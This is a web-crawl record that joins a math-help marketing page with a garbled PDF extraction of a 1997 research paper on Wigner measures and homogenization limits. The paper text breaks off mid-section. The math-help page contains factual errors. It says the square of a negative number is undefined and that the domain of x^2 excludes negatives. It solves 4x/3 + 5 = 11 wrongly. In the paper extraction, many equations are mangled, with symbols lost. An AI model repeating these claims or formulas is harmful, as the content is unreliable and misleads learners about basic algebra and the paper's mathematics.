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| {"ft_lang_label":"__label__en","ft_lang_prob":0.8136835,"math_prob":0.9954001,"size":511,"snap":"2020-10-2020-16","text_gpt3_token_len":122,"char_repetition_ratio":0.13412228,"word_repetition_ratio":0.0,"special_character_ratio":0.22504893,"punctuation_ratio":0.11764706,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9613518,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,2,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-04-10T05:17:24Z\",\"WARC-Record-ID\":\"<urn:uuid:d266ae32-b32e-430c-a2d8-d16ae73af049>\",\"Content-Length\":\"85030\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:aae419d7-f48c-4754-8f7d-e8a235ede6ff>\",\"WARC-Concurrent-To\":\"<urn:uuid:cec61f6a-e076-4dbf-b521-01faa8ca268e>\",\"WARC-IP-Address\":\"69.49.101.51\",\"WARC-Target-URI\":\"http://www.webgenii.ca/generating-random-numbers-and-letters/\",\"WARC-Payload-Digest\":\"sha1:A5OKIGQG75LULDL6PKYCFCV37UK27Y6M\",\"WARC-Block-Digest\":\"sha1:7CUNCBYV2C74QOFZ2NAGZOII7VX6T65R\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-16/CC-MAIN-2020-16_segments_1585371886991.92_warc_CC-MAIN-20200410043735-20200410074235-00545.warc.gz\"}"} |
https://thekooshy.com/wap.html | [
"# Math help algebra 2\n\nThere is Math help algebra 2 that can make the technique much easier. Our website can solving math problem.\n\n## The Best Math help algebra 2",
null,
"Here, we will show you how to work with Math help algebra 2. In mathematics, the domain of a function is the set of all input values for which the function produces a result. For example, the domain of the function f(x) = x2 is all real numbers except for negative numbers, because the square of a negative number is undefined. To find the domain of a function, one must first identify all of the possible input values. Then, one must determine which input values will produce an undefined result. The set of all input values that produce a defined result is the domain of the function. In some cases, it may be possible to solve for the domain algebraically. For example, if f(x) = 1/x, then the domain is all real numbers except for 0, because division by 0 is undefined. However, in other cases it may not be possible to solve for the domain algebraically. In such cases, one can use graphing to approximate thedomain.\n\nFirst, when you multiply or divide both sides of an inequality by a negative number, you need to reverse the inequality sign. For example, if you have the inequality 4x < 12 and you divide both sides by -2, you would get -2x > -6. Notice that the inequality sign has been reversed. This is because we are multiplying by a negative number, so we need to \"flip\" the inequality around. Second, when solving an inequality, you always want to keep the variable on one side and the constants on the other side. This will make it easier to see what values of the variable will make the inequality true. Finally, remember that when solving inequalities, you are looking for all of the values that make the inequality true. This means that your answer will often be a range of numbers. For example, if you have the inequality 2x + 5 < 15, you would solve it like this: 2x + 5 < 15 2x < 10 x < 5 So in this case, x can be any number less than 5 and the inequality will still be true.\n\nIn mathematics, \"solving for x\" refers to the process of finding the value of an unknown variable in an equation. In most equations, the variable is represented by the letter \"x.\" Fractions can be used to solve for x in a number of ways. For example, if the equation is 2x + 1 = 7, one can isolated the x term by subtracting 1 from each side and then dividing each side by 2. This would leave x with a value of 3. In some cases, more than one step may be necessary to solve for x. For example, if the equation is 4x/3 + 5 = 11, one would first need to multiply both sides of the equation by 3 in order to cancel out the 4x/3 term. This would give 12x + 15 = 33. From there, one could subtract 15 from each side to find that x = 18/12, or 1.5. As these examples demonstrate, solving for x with fractions is a matter of careful algebraic manipulation. With a little practice, anyone can master this essential math skill.\n\nIn some cases, you may need to do a bit of research to find the answer. However, if you take your time and carefully read the question, you should be able to find the correct answer. With a little practice, you will be able to confidently answer math questions and improve your understanding of the subject.\n\nTrying to solve a binomial equation can be frustrating, especially when you don't have the right tools. A binomial solver can be a helpful tool for anyone struggling with this type of equation. Binomial equations are quadratic equations with twoterms, and they can be difficult to solve without the proper tools. The Binomial theorem is a formula that allows you to expand these equations, and a Binomial solver can help you to use this theorem to solve your equation. With a Binomial solver, you can input the coefficients of your equation and see the expanded form of the equation. This can be helpful in finding the roots of your equation. Binomial solvers are easy to use and can be a valuable tool for anyone struggling with binomial equations.\n\n## We solve all types of math troubles",
null,
"This is the best math-app I have ever used in my life! It processes your photo of the math problem quick and hassle-free. It also features a well-equipped calculator that works flawlessly. Would really recommend!\n\nOra Roberts",
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"This is an amazing app that has helped me through many of my math problems. This has been especially helpful whenever I would study for a math exam since it shows all the solving steps and helps me understand the problems properly.\n\nDior Stewart\n\nHow to solve an expression Online differential equation solver Cpm mathematics homework help Quadratic function to standard form solver Algebra 1 problem solving"
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"https://thekooshy.com/PSY6320a40ff2880/testimonial-two.jpg",
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https://www.scribd.com/document/398346366/G-rard-Et-Al-1997-Communications-on-Pure-and-Applied-Mathematics | [
"You are on page 1of 57\n\nHomogenization Limits and Wigner Transforms\n\nPATRICK GÉRARD\nUniversité de Paris–Sud\n\nPETER A. MARKOWICH\nNORBERT J. MAUSER\nTU–Berlin\n\nAND\n\nFRÉDÉRIC POUPAUD\nUniversité Nice\n\nAbstract\nWe present a theory for carrying out homogenization limits for quadratic functions (called\n“energy densities”) of solutions of initial value problems (IVPs) with anti-self-adjoint (spatial)\npseudo-differential operators (PDOs). The approach is based on the introduction of phase\nspace Wigner (matrix) measures that are calculated by solving kinetic equations involving the\nspectral properties of the PDO. The weak limits of the energy densities are then obtained by\ntaking moments of the Wigner measure.\nThe very general theory is illustrated by typical examples like (semi)classical limits of\nSchrödinger equations (with or without a periodic potential), the homogenization limit of the\nacoustic equation in a periodic medium, and the classical limit of the Dirac equation. c 1997\nJohn Wiley & Sons, Inc.\n\n0 Introduction\nWe consider the following type of initial value problems:\n(0.1) ε∂t uε + P ε uε = 0 , uε (t = 0, x) = uεI (x) ,\nwhere ε is a small parameter, uε (t, x) is a vector-valued L2 -function on Rm x ,\nand P ε is an anti-self-adjoint, matrix-valued (pseudo)-differential operator with\na Weyl symbol given by P 0 (x, x/ε, εξ) + O(ε). Here P 0 = P 0 (x, y, ξ) is a\nsmooth function that is periodic with respect to y. By ξ we denote the conjugate\nvariable to the position x; that is, ξ = −i∇x .\nThe main assumptions are that the data uεI are bounded in L2 as ε goes to\n0 and that uεI oscillates at most at frequency 1/ε; for instance,\nZ\nC\n|∇uεI (x)|2 dx ≤ 2 .\nε\nA more general formulation of the assumptions on uεI is given in definitions\n(1.26) and (1.27) below.\n\nCommunications on Pure and Applied Mathematics, Vol. L, 0323–0379 (1997)\n\nc 1997 John Wiley & Sons, Inc. CCC 0010–3640/97/040323-57\n324 P. GÉRARD ET AL.\n\nSince P ε is anti-self-adjoint, the following conservation law holds:\n\nZ\nd\n(0.2) |uε (t, x)|2 dx = 0 .\ndt Rm\n\nIn this paper we study the homogenization limit as ε → 0 of the following\n\nscalar quantity, which we call energy density:\n\nnε (t, x) = |uε (t, x)|2 .\n\nAccording to the physical context of the equation, the function nε may have\ndifferent interpretations: position density in the case of the Schrödinger equa-\ntion and energy density in the case of high-frequency wave propagation.\nThe above conservation law shows that nε (t) is uniformly bounded in\nL (Rm\n1\nx ), hence we may assume, up to the extraction of a subsequence, that it\nconverges weakly, as ε goes to 0, to a bounded, time-dependent, nonnegative\nmeasure n0 (t, x). The main question we address in this paper is to calculate\nthe homogenized energy density n0 (t, x) from quantities related to the data uεI .\nClearly, the knowledge of n0I (x) as the weak limit of |uεI (x)|2 is not sufficient,\nas suggested by a brief inspection of the WKB method (see, for instance, ).\nThe main idea is to construct a time-dependent positive measure w0 (t, x, ξ)\non the phase space, called the Wigner measure, such that\nZ\n(0.3) n0 (t, x) = w0 (t, x, dξ) .\nξ∈Rm\n\nThe advantage is that w0 can be calculated through transport equations with\n\ninitial data given by quantities related to uεI . The introduction of such an\nobject in the literature seems to be due to E. Wigner in the context\nof semiclassical quantum mechanics. Much later on, a similar object was\nintroduced by A. Shnirelman and other authors [25, 3, 12] in spectral\ntheory in order to prove a basic result in what is sometimes called quantum\nchaos. Finally, a general relevant notion was raised in the late 1980s by\nL. Tartar and the first author [5, 8] independently, under the names of H-\nmeasures and microlocal defect measures, respectively. A notable difference\nof the latter measures with respect to the Wigner measure is that they can be\nassociated to any bounded sequence of L2 , in particular without any assumption\nabout the existence of a typical length or Planck constant ε. On the other hand,\nthis generality forces us to deal with measures on the smaller phase space\n{(x, ξ) : x ∈ Rm , ξ ∈ Rm , |ξ| = 1}, which is somewhat less precise. Another\nimprovement is that, in the case of vector-valued sequences, matrix-valued\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 325\n\nmeasures can be defined in the same way to study polarization phenomena,\n\ncompensated compactness, and so on.\nMore recently Wigner measures were revisited by P. L. Lions and T. Paul\n and the first author . The motivation of the latter reference was the study\nof the semiclassical Schrödinger equation with a periodic potential V (x/ε), a\nwell-known problem in solid-state physics. The advantage of Wigner measures\nin this context is that they allow us to overcome the difficulty caused by\ncrossings of Bloch modes. This work was improved by the three other authors\n, who introduced a third variant of Wigner measures, where the momentum\nvariable ξ is restrained to live in the Brillouin zone, leading to the semiclassical\njustification of Vlasov equations for semiconductor materials.\nOur objective in this paper is to give a self-contained survey of Wigner\nmeasures, including a treatment of general systems as (0.1), paying special\nattention to the problems induced by vector-valued solutions. In particular, in\nthe case of slowly varying coefficients, we derive transport equations for the\nmatrix-valued Wigner measures related to each mode of the system, involving\nzeroth-order terms that describe the evolution of polarization. In the case of\noscillating periodic coefficients, we extend the approach of and to a\ngeneral framework.\nHowever, at this time we are not able to deal with symbols depending on\nboth x and x/ε. This difficulty is related to the existence of crossings of\nBloch modes, conjugated with the possibility that the integral curves of our\ntransport equations meet the “bad set” where such a crossing occurs. Hence,\nin particular, we are not able to study the general semiclassical limit of the\nSchrödinger equation in a crystal under the action of an external, slowly varying\npotential except in particular cases including one space dimension (see ).\nFinally, our results are illustrated by well-known examples of homogeniza-\ntion problems, including the wave equation and the Schrödinger and Dirac\nequations.\nThe paper is organized as follows: In Section 1 we present a survey of\n(matrix-valued) Wigner measures; Section 2 (the constant-coefficient case) is\nconcerned with the case where the symbol of the PDO depends only on the\nconjugate variable εξ. In Section 4 (the periodic-coefficient case) we admit\nWeyl symbols with an additional periodic dependence on the “fast-scale” x/ε.\nHere we use the Wigner series introduced in and give a survey of their\ngeneral properties. In Section 6 (the slowly variable coefficient case) we con-\nsider Weyl symbols that depend on the slow-scale x and the conjugate variable\nεξ but not on the fast-scale x/ε. The constant-coefficient case, of course, is\n326 P. GÉRARD ET AL.\n\nessentially contained in Section 6, but Section 2 was included because the\n\ncomputations are very transparent and require less regularity of the symbol.\nSections 3, 5, and 7 contain examples corresponding to their respective\npreceding sections.\n\n1 A Survey of Wigner Measures\n\nIn this paper we use the following definition for Fourier transforms on Rm :\nZ\n(1.1) fˆ(ξ) := (Fx→ξ f )(ξ) = e−ix·ξ f (x) dx .\nRm\n\nIf a ∈ S 0 (Rm ), the Fourier multiplier a(D) associated to a is the operator\n\nS(Rm ) → S 0 (Rm ) defined by\nZ\n(1.2) (a(D)f ) (x) = (2π)−m a(ξ)eix·ξ fˆ(ξ) dξ .\nRm\n\nOf course, depending on the regularity of a, a(D) may operate on other func-\n\ntion spaces.\nFor x-dependent symbols a(x, ξ) ∈ S 0 (Rmx ×Rξ ), the “left symbol” Fourier\nm\n\nmultiplier writes (in the sequel, we assume 0 < ε < ε0 for some ε0 > 0) the\nfollowing:\nZ Z\n1\n(1.3) (a(x, εD)f ) (x) = a(x, εξ)f (y)ei(x−y)·ξ dξ dy .\n(2π)m Rm ξ Rm\ny\n\nThe Weyl operator aW (x, εD) is associated to the symbol a(x, ξ) ∈ S 0\n\n(Rm\nx × Rm\nξ ) by Weyl’s quantization rule \n\n\u0001\naW (x, εD)f (x)\nZ Z \u0012 \u0013\n(1.4) 1 x+y\n= a , εξ f (y)ei(x−y)·ξ dξ dy ,\n(2π)m Rmξ Ry\nm 2\n\nwhich can be restated as\n\nZ \u0010\n\u0001 v \u0011\n(1.5) W\na (x, εD)f (x) = ã x − ε , v f (x − εv) dv\nRm\nv\n2\n−1\nwhere ã(x, v) := (Fξ→v a)(x, v) denotes the inverse Fourier transform with\nrespect to the second argument. Notice that aW (x, εD) sends S 0 into S if\na ∈ S.\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 327\n\nFor given f, g ∈ S 0 (Rm ) and ε ∈ ]0, ε0 ], we define the Wigner transform\n\nZ \u0010\n−m v\u0011 \u0010 v \u0011 iv·ξ\nε\n(1.6) w (f, g)(x, ξ) = (2π) f x − ε ḡ x + ε e dv .\nRm 2 2\nFor fixed ε, this clearly defines a continuous bilinear mapping from S 0 (Rm ) ×\nS 0 (Rm ) to S 0 (Rm × Rm ). Moreover, we have the following elementary for-\nmulae:\n\n(1.7) wε (g, f ) = wε (f, g)\n\n(1.8) hwε (f, g), ai = hḡ, aW (x, εD)f i .\n\nIn (1.8) we assume a ∈ S(Rm × Rm ) and h·, ·i denotes the duality bracket\n\n(linear in both arguments) between S 0 and S on Rm × Rm or Rm , respectively.\nOf course, formula (1.8) is valid for f , g, and a lying in other spaces, for\nexample, in the dual situation where f, g ∈ S, a(x, ξ) ∈ S 0 . An intermediate\nsituation of current use is where f, g ∈ L2 and the inverse Fourier transform\nã(x, v) with respect to ξ satisfies\nZ\n(1.9) sup |ã(x, v)| dv < +∞\nRm x\n\nso that it can be integrated against the ξ-Fourier transform of wε (f, g) given\n\nby \u0010 v\u0011 \u0010 v\u0011\n(1.10) (Fξ→v wε (f, g))(x, v) = f x − ε ḡ x + ε .\n2 2\nIn the sequel k · k denotes the L2 -norm on Rm and (· | ·) denotes the L2 inner\nproduct on Rm (antilinear in the second argument).\nOur main interest is in the asymptotic properties of the transformation (1.6)\nas ε goes to 0.\nFirst, we state one of the crucial properties of Wigner transforms.\nP ROPOSITION 1.1 If f and g lie in a bounded subset of L2 (Rm x ), then\nwε (f, g) lie in a bounded subset of S 0 (Rm\nx × Rm ). More precisely, we have\nξ\nfor the respective Fourier transforms\n\n(1.11) (Fξ→v wε (f, g))(x, v) ∈ C0 (Rm 1 m\n\nv ; L (Rx )),\n(1.12) (Fx→ζ wε (f, g))(ζ, ξ) ∈ C0 (Rm 1 m\nζ ; L (Rξ ))\n\nwith the respective norms bounded by kf k kgk.\n\nFurther, we have the following estimate for a, b ∈ S(Rm × Rm )\nZ\n(1.13) hw (f, g), ab̄i =\nε\n(a(x, εDx )f ) (b(x, εDx )g) dx + rε ,\nRm\n328 P. GÉRARD ET AL.\n\nwhere |rε | ≤ εC(a, b)kf k kgk.\n\nThe estimate (1.13) holds analogously for the Weyl operators aW (x, εDx ),\nW\nb (x, εDx ) instead of a(x, εDx ), b(x, εDx ) on the right-hand side.\n\nP ROOF : In view of (1.10), the estimate (1.11) is immediate for f, g\n\nbounded in L2 . This also yields the first S 0 assertion. (1.12) is an imme-\ndiate consequence of the representation\n\u0012 \u0013 \u0012 \u0013\n1 ξ ζ ¯ ξ ζ\n(1.14) ε\n(Fx→ζ w (f, g))(ζ, ξ) = ˆ\nf + ĝ − .\n(2πε)m ε 2 ε 2\n−1\nUsing the Plancherel formula and the notation ã = (Fξ→v a), we have\nZ \u0010 v\u0011 \u0010 v\u0011\nhw (f, g), ab̄i =\nε\nf x−ε ḡ x + ε ã(x, u) b̃(x, u − v) dx du dv .\n2 2\n0\nIf we set v = u − u0 and x = x0 − ε u+u\n2 , we obtain\n\nhwε (f, g), ab̄i\n\nZ \u0012 \u0013\nu + u0\n= f (x0 − εu) ã x0 − ε , u ḡ(x0 − εu0 )\n2\n\u0012 0\n\u0013\nu+u 0\n· b̃ x0 − ε , u dx0 du du0 .\n2\n0 0 R1 0\nNow write k(x0 − ε u+u 0\n2 , ·) = k(x , ·) − ε 2\nu+u\n0 ∂x k(x0 − sε u+u\n2 , ·) ds with\nk = ã, b̃ in the above right-hand side, and the remainder term is easily estimated\nusing ã, b̃ ∈ S and the Schwarz inequality in x.\n0\nFor the case of Weyl operators we write k(x0 − ε u+u , ·) = k(x0 − ε u2 , ·) −\n0 R 0\n2\nε u2 0 ∂x k(x0 − ε u+su\n1\n2 , ·) ds.\n\nR EMARK 1.2 Basic properties of the Wigner transform are\n\nZ\n(1.15) wε (f, g) dξ = f (x) ḡ(x)\nRm\nZ \u0012 \u0013 \u0012 \u0013\nξ\n\n1 ˆ ξ ĝ¯ ξ\n(1.16) wε (f, g) dx = f\nRm\nx\n(2πε)m ε ε\n\nThe duality in x and ξ can be expressed, for example, as\n\n\u0012 \u0010·\u0011 \u0010 \u0011\u0013\nε ε 1 ¯ 1 ¯ˆ ·\n(1.17) w (f, g)(x, ξ) = w ĝ , f (ξ, x) .\n(2πε)m/2 ε (2πε)m/2 ε\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 329\n\nIn general, we can define for f, g in S 0 (Rm\n\nx ) an n × n “Wigner matrix”\nn\n\nby\nZ \u0010\n1 ε \u0011 \u0010 ε \u0011\nε\n(1.18) W (f, g)(x, ξ) = f ε x − v ⊗ ḡ ε x + v eiv·ξ dv ,\n(2π)m Rm\nv\n2 2\n\nwhere ⊗ denotes the tensor product of vectors.\n\nAs a special case, let (f ε ) be a bounded family in L2 (Rm )n . Then we\ndenote by W ε [f ε ] the n × n matrix with elements\nε\n(1.19) wij [f ε ] = wε (fiε , fjε ) .\n\nAlso, we denote by wε [f ε ] = tr W ε [f ε ] the scalar Wigner transform of f ε .\n\nBy (1.7), W ε [f ε ] is hermitian, and by Proposition 1.1, there exists a se-\nquence (εk ) going to 0 such that W εk (f εk ) has a limit in S 0 . Let W 0 = (wij\n0)\n0\nbe such a limit. We claim that W is a nonnegative matrix-valued measure;\nthat is, for any z ∈ Cn , we have\nX\n(1.20) 0\nwij zi z̄j ≥ 0\ni,j\n\nas a measure. Indeed, since every nonnegative function a ∈ C0∞ can be\n\nobtained as the limit of |bn |2 for some sequence (bn ) in C0∞ , it is enough to\nprove X\n(1.21) hwij\n0\n, |b|2 izi z̄j ≥ 0 for b ∈ C0∞ .\ni,j\n\nBut, by (1.13) in Proposition 1.1, we have\n\nX Z X 2\n\nhw (fi , fj ), zi z̄j |b| i =\nε ε ε 2 zi b(x, εD)fi dx + O(ε)\nε\n\ni,j R\nm\ni\n\nand (1.20) follows by passing to the limit.\n\nR EMARK 1.3 In previous papers [18, 17] the following separable Banach\nalgebra of test functions introduced in has been used:\n\b\n(1.22) A = ϕ ∈ C0 (Rm x × Rξ ) : (Fξ→v ϕ)(x, v) ∈ L (Rv ; C0 (Rx )) .\nm 1 m m\n\nx )\nn\n\nand the convergence of a subsequence of W ε [f ε ] in (An×n )0 weak-∗ follows.\n\n330 P. GÉRARD ET AL.\n\nThe measure W 0 is called a Wigner measure or semiclassical measure\n\nassociated to the family (f ε ), where we implicitly assume the choice of a\nscale ε. If a family (f ε ) admits only one Wigner measure, we shall denote it\nby W 0 [f ε ] = (wij\n0 [f ε ]) and we set w 0 [f ε ] = tr W 0 [f ε ] for the scalar Wigner\n\nmeasure of (f ε ).\nR EMARK 1.4 The above proof of the positivity of Wigner measures, related\nto the Bochner-Schwartz theorem, originates from a discussion between L. Tar-\ntar and the first author (see also ). Other proofs can be found in (using\npseudo-differential calculus) and in [11, 15, 16, 18] where a Gaussian regular-\nization (“Husimi function”)\n\u0012 \u0013\n1 |z|2\n(1.24) wH [f ] := w [f ] ∗x G ∗ξ G , G (z) :=\nε ε ε ε ε ε ε\nexp −\n(πε)m/2 ε\nis used, which (as shown by a simple calculation) is a pointwise nonnegative\nfunction. Since the accumulation points of wε [f ε ] are also accumulation points\nof wHε [f ε ], we conclude that w 0 is a nonnegative measure.\n\nThe positivity of Wigner measures has many consequences. Here we em-\n\nphasize one of them, called “orthogonality” by the first author (see [7, 8, 14]).\nGiven a family (f ε ) with a Wigner measure W 0 [f ε ], the Schwarz inequality\nyields, for any nonnegative a ∈ S,\nZ 2 \u0012Z \u0013 \u0012Z \u0013\n\na dwij [f ] ≤\n0 ε 0 ε\na dwii [f ] 0 ε\na dwjj [f ] .\n\n0 and w 0 are mutually singular,\nIn particular, if the positive scalar measures wii jj\n0 = 0. An equivalent way of stating this property is the following\nthis implies wij\nresult:\nP ROPOSITION 1.5 If f ε and g ε have Wigner measures whose traces tr W 0 [f ε ]\nand tr W 0 [g ε ] are mutually singular, then\n(1.25) W 0 [f ε + g ε ] = W 0 [f ε ] + W 0 [g ε ] .\nNext we investigate the relationship between the Wigner measure and the\nweak limits of quadratic forms in f ε . For this purpose we need two definitions.\nD EFINITION 1.6 A bounded family (f ε ) in L2 is said to be ε-oscillatory as\nε goes to 0 if the following property holds for every continuous, compactly\nsupported function ϕ on Rm :\nZ\n(1.26) lim dε (ξ)|2 dξ → 0 as R goes to +∞.\n|ϕf\nε→0 |ξ|≥R/ε\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 331\n\nA bounded family (f ε ) in L2 is said to be compact at infinity as ε goes to 0 if\n\nZ\n(1.27) lim |f ε (x)|2 dx → 0 as R goes to +∞.\nε→0 |x|≥R\n\nis sufficient for (1.26).\n\nNow we can state the following:\nP ROPOSITION 1.7 Let (f ε ) be a bounded family in L2 (Rm )n with a Wigner\nmeasure W 0 [f ε ]. Then\n(i) The measure w0 [f ε ] = tr W 0 [f ε ] is bounded on Rm × Rm and, if\nf ε ⊗ f¯ε → ν as measures on Rm , we have, in the sense of hermitian\nmatrix-valued measures,\nZ\n(1.29) W 0 (·, dξ) ≤ ν\nRm\n\nwith equality if and only if (f ε ) is ε-oscillatory.\n\n(ii) We have Z\n(1.30) w (R × R ) ≤ lim\n0 m m\n|f ε (x)|2 dx\nε→0 Rm\n\nwith equality if and only if (f ε ) is ε-oscillatory and compact at infinity.\n\nIn this case lim can be replaced by lim in the right-hand side of (1.30).\nP ROOF : By taking inner products of f ε with fixed vectors in Cn , it is\nenough to prove the statements for scalar functions f ε . To prove (i), we first\nobserve that, for any uniformly continuous function ϕ on Rm , we have\n\nThis formula is an easy consequence of the definition (1.6) after performing a\n\nFourier transform in ξ. Now choose ψ ∈ C0∞ (Rm ), 0 ≤ ψ ≤ 1, with ψ(ξ) = 1\nin a neighborhood of ξ = 0. Applying (1.31) with a continuous compactly\nsupported function ϕ and formula (1.8) with a(x, ξ) = ψ(ξ), we obtain\nZ\nψ(ξ) |ϕ(x)|2 dw0 [f ε ](x, ξ) = lim hwε (ϕf ε , ϕf ε ), ψi\n(1.32) ε→0\n= lim (ψ(εD)(ϕf ε ) | ϕf ε ) .\nε→0\n332 P. GÉRARD ET AL.\n\nBy the Plancherel formula, the right-hand side of (1.32) is not larger than\nZ\nlim kϕf k = |ϕ|2 dν .\nε 2\nε→0\n\nChanging ψ(ξ) into ψ(ξ/R) and letting R go to infinity in (1.32), we obtain\n\nby Fatou’s lemma the first assertion in (i) and inequality (1.29). In order to\ninvestigate equality in (1.29), we come back to the identity (1.32), which we\nrewrite as follows:\nZ\nψ(ξ/R) |ϕ(x)|2 dw0 [f ε ](x, ξ)\n(1.33) Z\n= |ϕ|2 dν − lim ((1 − ψ(εD/R))(ϕf ε ) | ϕf ε )\nε→0\n\nR\nPassing to the limit in (1.33) as R goes to infinity, we conclude that w0 [f ε ]\n(·, dξ) = ν if and only if (f ε ) is ε-oscillatory.\nNow inequality (1.30) is obtained by integrating (1.29) with respect to x\n(after possibly selecting a subsequence so that ν exists), and equality in (1.30)\nholds if and only if equality in (1.29) holds and |f ε |2 converges tightly as a\nmeasure on Rm . This completes the proof.\n\nFinally, the following proposition shows how the Wigner transform (1.6)\ntranslates asymptotically the action of an ε-pseudo-differential operator like\n(1.4) into a multiplication. The notation {p, q} denotes the Poisson bracket of\np = p(x, ξ) and q = q(x, ξ) defined by\n\nP ROPOSITION 1.8 Let p ∈ C ∞ (Rm × Rm ) satisfy, for some M ≥ 0,\n\n(1.35) ∀α ∈ Nm × Nm : |∂x,ξ\nα\np(x, ξ)| ≤ Cα (1 + |ξ|)M .\n\nThen, because f and g lie in a bounded set of L2 (Rm ), we have the expansion\n\u0001 ε\n(1.36) wε pW (x, εD)f, g = pwε (f, g) + {p, wε (f, g)} + ε2 rε\n2i\nwhere rε is bounded in S 0 (Rm × Rm ) as ε goes to 0.\n\nNotice that the right-hand side of (1.36) is well-defined for fixed ε. Indeed,\nif f ∈ S, integration by parts in ξ shows that formula (1.4) for pW (x, εD)f\ndefines a function ∈ S. Since pW (x, εD)∗ = p̄W (x, εD), it follows that\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 333\n\npW (x, εD) acts on S 0 by transposition. Hence wε (pW (x, εD)f, g) is well-\n\ndefined for all f, g ∈ S 0 .\nIn view of formula (1.8), we have, for any a ∈ S,\nhwε (pW (x, εD)f, g), ai = (aW (x, εD)pW (x, εD)f | g) ;\nhence the expansion (1.36) can be stated equivalently as an expansion of the\nsymbol (a]p)ε defined by aW (x, εD)pW (x, εD) = (a]p)W ε (x, εD), which is\na particular case of the general pseudo-differential Weyl calculus (see, for\ninstance, [13, theorem 18.5.4]). However, for the convenience of the reader,\nwe give a direct proof of Proposition 1.8 in an appendix.\nIt is clear that expansion (1.36) can also be stated for matrix-valued pseudo-\ndifferential operators. For the Wigner matrix (1.18) and if P = P (x, ξ) is an\nn×n matrix-valued function satisfying estimates (1.35), we have the following\nformulae, which will be useful in Section 6:\nε\n(1.37) W ε (P W (x, εD)f, g) = P W ε (f, g) + {P, W ε (f, g)} + ε2 Rε ,\n2i\nε\n(1.38) W ε (f, P W (x, εD)g) = W ε (f, g)P ∗ + {W ε (f, g), P ∗ } + ε2 Qε ,\n2i\nwhere Rε and Qε are bounded in S 0 . Notice that on the right-hand sides of\nthese formulae products are matrix products, hence the order is relevant. P ∗\ndenotes the adjoint P̄ T of a matrix P .\n\n2 Constant Coefficients\nWe consider the initial value problem\n(2.1a) εuεt + P (εDx )uε = 0 , x ∈ Rm\nx, t∈R\n(2.1b) uε (t = 0) = uεI on Rm\nx .\n\nHere ε ∈]0, ε0 ] is a small parameter, uε and uεI are Cn -valued functions,\n\nand P (εDx ) is the Fourier multiplier (1.2) associated with the complex n × n–\nmatrix-valued symbol P = P (ξ) on Rm ξ . We impose the following assumptions\non P :\n(A1) ξ ;C\n(i) P ∈ C 1 (Rm n×n )\n\n(ii) ∀ξ ∈ Rm ∗\nξ : P (ξ) = −P (ξ).\n\nBy Stone’s theorem, − 1ε P (εDx ) is the generator of a unitary, strongly con-\n\nx ) . Note that the domain of − ε P (εDx )\n1\ntinuous group of operators on L2 (Rm n\n\ncontains H σ (Rm n\nx ) .\nWe assume on the initial datum uεI (see (1.26) and (1.27) in Definition 1.6):\n334 P. GÉRARD ET AL.\n\n(A2) (uεI ) is bounded in L2 (Rm n\n\nx ) , ε-oscillatory, and compact at infinity.\n\n(2.2) nε (t, x) := |uε (t, x)|2\n\nsatisfies Z Z\n(2.3) nε (t, x) dx = nεI (x) dx ∀t ∈ R ,\nRm\nx Rm\nx\n\nwhere we set nεI := |uεI |2 . Thus, the total energy is conserved with respect to\ntime t.\nThe main result of this section will be to compute the weak limit of nε (t, ·),\nunder additional assumptions on P and on the data. Up to extraction of a\nsubsequence, we may assume that WI0 = W 0 [uεI ] exists.\nWe impose:\n(A3) There exists a closed set F in Rm\nξ such that\n\n(i) For every ξ 6∈ F , the eigenvalues λq = λq (ξ) of −iP (ξ) can be\n\nordered as follows:\n\nwhere, for 1 ≤ q ≤ d, the multiplicity rq of λq (ξ) does not depend\n\non ξ.\n(ii) Rm × F is a null set for tr(WI0 ).\n\nNotice that, by assumption (A1)(i), the functions λq are C 1 on the open set\nRm \\ F . For ξ 6∈ F , we denote by Πq (ξ) the orthogonal projection of Cn\non the eigenspace corresponding to λq (ξ). Of course, Πq is a C 1 -function on\nRm \\ F .\nWe can now formulate the following theorem:\nT HEOREM 2.1 Let (A1), (A2), and (A3) hold, and set, for 1 ≤ q ≤ d, (x, ξ) ∈\nRm × (Rm \\ F ),\n0\n(2.4) wI,q (x, ξ) = tr(Πq WI0 )(x, ξ) .\nThen, for any t ∈ R, nε (t, ·) converges to the measure n0 (t, ·) given by\nd Z\nX\n(2.5) 0\nn (t, x) = 0\nwI,q (x − t∇λq (ξ), dξ) .\nq=1 ξ∈Rm \\F\n\nMoreover, the convergence is uniform for t in bounded intervals.\n\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 335\n\nNotice that, since WI0 is a positive bounded measure (by Proposition 1.7)\nand 0 ≤ Πq ≤ I, (2.4) defines a positive, bounded, scalar measure wI,q 0 on\n\nm m\n\nξ , t ∈ R.\n\nwhere 1εξ6∈F is the indicator function, and obtain the IVPs:\n\n∂ ε\n(2.8a) ε û + iλq (εξ)ûεq = 0 , ξ ∈ Rm\nξ , t∈R\n∂t q\n(2.8b) ûεq (ξ, t = 0) = ûεI,q (ξ) , ξ ∈ Rm\nξ\n\nfor 1 ≤ q ≤ d with\n\n(2.9a) wqε (t, x, ξ) = wε [uεq (t)](x, ξ) , 1 ≤ q ≤ d,\n\n(2.9b) ε\nwI,q (x, ξ) = wε [uεI,q ](x, ξ) , 1 ≤ q ≤ d.\n\nIn view of the min-max principle, λq can be extended as a locally Lipschitz\n\nfunction on the whole of Rm ξ . Then a straightforward calculation gives an\nevolution equation for the x-Fourier transform ŵqε (t, ζ, ξ) := (Fx→ζ wqε )(t, ζ, ξ)\nof the Wigner function wqε (t, x, ξ):\nZ 1/2\n∂ ε\n(2.10) ŵ + iζ ∇λq (ξ + εsζ) ds ŵqε = 0 , 1 ≤ q ≤ d,\n∂t q −1/2\n\nwhere \u0012 \u0013 \u0012 \u0013\n1 ¯ ε t, ξ − ζ · ûε t, ξ + ζ .\n(2.11) ŵqε (t, ζ, ξ) = û\n(2π)m εm q ε 2 q\nε 2\nWe now prove the following lemma:\n336 P. GÉRARD ET AL.\n\nm ε\n\nrespect to t, 